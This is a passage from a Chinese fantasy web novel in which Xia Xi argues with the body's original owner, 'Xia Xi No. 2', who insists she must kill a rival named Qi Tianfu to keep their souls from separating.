“不,你一定要做到。”因为长时间说话,夏溪二号的声音有些喑哑,“只要—天没见到齐天符的人头,我的尘缘就断不了,如果放任尘缘继续加深,最后我们的魂魄都会无法归位,落得人魂分离灰飞 烟灭的下场。" 夏溪:??? 她大惊失色:“你认真的吗?”“我认真的。”夏溪二号罕见地露出心虚表情,眼神四处乱瞟着,“如果我没猜错,你最近应该很嗜睡。” 夏溪动作一僵。 夏溪二号继续说:“我记得你现在的身体是金丹三段,如无意外,是不需要长时间睡眠的,可我看你很困,精神气很虚,那足以证明……”她话没说完,夏溪就迫不及待地打断了:“不啊,我最近遭遇了很多意外,所以才精神虚弱的。”刚刚的闲聊里,她一句口风没透露,导致夏溪二号完全不知道古月城一事。 等把这段时间的经历说完,夏溪二号已经气到把头发抓乱,嘴里爆发出尖锐嚎叫:“啊啊啊啊我就知道我就知道!我的身体绝不可能这么虚弱!”见身体原主被气疯,夏溪难免有点心虚:“呃……我也不是故意的,可生活就是这么抓马不是吗?” 夏溪二号停下动作,蓬乱头发中露出一只眼睛:“你确定是沉银阁发布的杀人任务?” 夏溪点 头。 “唉——” 一声足足十秒的长叹声出现在两人之间。夏溪不明所以:“你怎么了?” 夏溪二号捋捋头发,脸上露出心如死灰的表情:“我觉得你最好现在去杀了齐天符。”言明无法做到的事情仍然被提起,夏溪有点不高兴:“我说了我做不到。” “不,你必须做到。”夏溪二号盯着她,“因为齐天符很有可能和我一样,重生到了这个时候。” 夏溪缓缓打出一个问号。 你要不听听你在说什么?